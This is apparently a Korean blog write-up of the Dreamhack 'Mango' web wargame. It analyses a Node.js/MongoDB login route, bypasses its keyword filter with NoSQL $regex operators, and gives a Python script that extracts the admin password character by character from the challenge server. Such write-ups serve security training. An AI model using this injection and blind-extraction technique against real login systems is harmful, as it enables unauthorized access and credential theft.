본문 바로가기

Wargame/Web

[Dreamhack] Mango

소스 코드 분석

/login

uid, upw 값을 전달 받고, filter 함수를 통해서 필터링을 수행한다. 이후 결과에 따라서 err, uid, undefined를 각각 반환한다.

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

filtering

BAN 변수에 필터링 문자열을 확인할 수 있다.

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

 

취약점 분석

no sql의 정규 표현식을 통해 필터링 값을 우회할 수 있다. admin의 경우 ^를 통해서 ^ad 식으로 우회할 수 있고, DH{**flag**}의 경우 .를 통해서 D.{**flag**} 식으로 우회가 가능하다.

 

익스플로잇

익스플로잇 코드 작성

FLAG 길이는 32자이므로 }를 포함하여 총 33번의 반복문을 수행하면 된다. 정규식을 통해서 해당 값이 일치하는지 아닌지 여부를 반환되는 페이지에서 admin 값이 존재하는지 여부로 판단할 수 있다.

#!/usr/bin/python3
import requests
import string

tc = string.ascii_letters + string.digits + string.punctuation

flag = ""

for idx in range(32):
    for ch in tc:
        response = requests.get(f"<http://host3.dreamhack.games:11856/login?uid[$regex]=^ad&upw[$regex]=D.{{{flag+ch}>")
        print(response.request.url)
        if response.text.find("admin") != -1:
            flag += ch
            break
print(f"Password is DH{{{flag}}}")

FLAG 확인

반응형

'Wargame > Web' 카테고리의 다른 글

[Dreamhack] image-storage  (0) 2024.05.14
[Dreamhack] command-injection-1  (0) 2024.04.29
[Dreamhack] simple-sqli  (0) 2024.02.24
[Dreamhack] csrf-2  (2) 2024.02.18
[Dreamhack] csrf-1  (0) 2024.02.17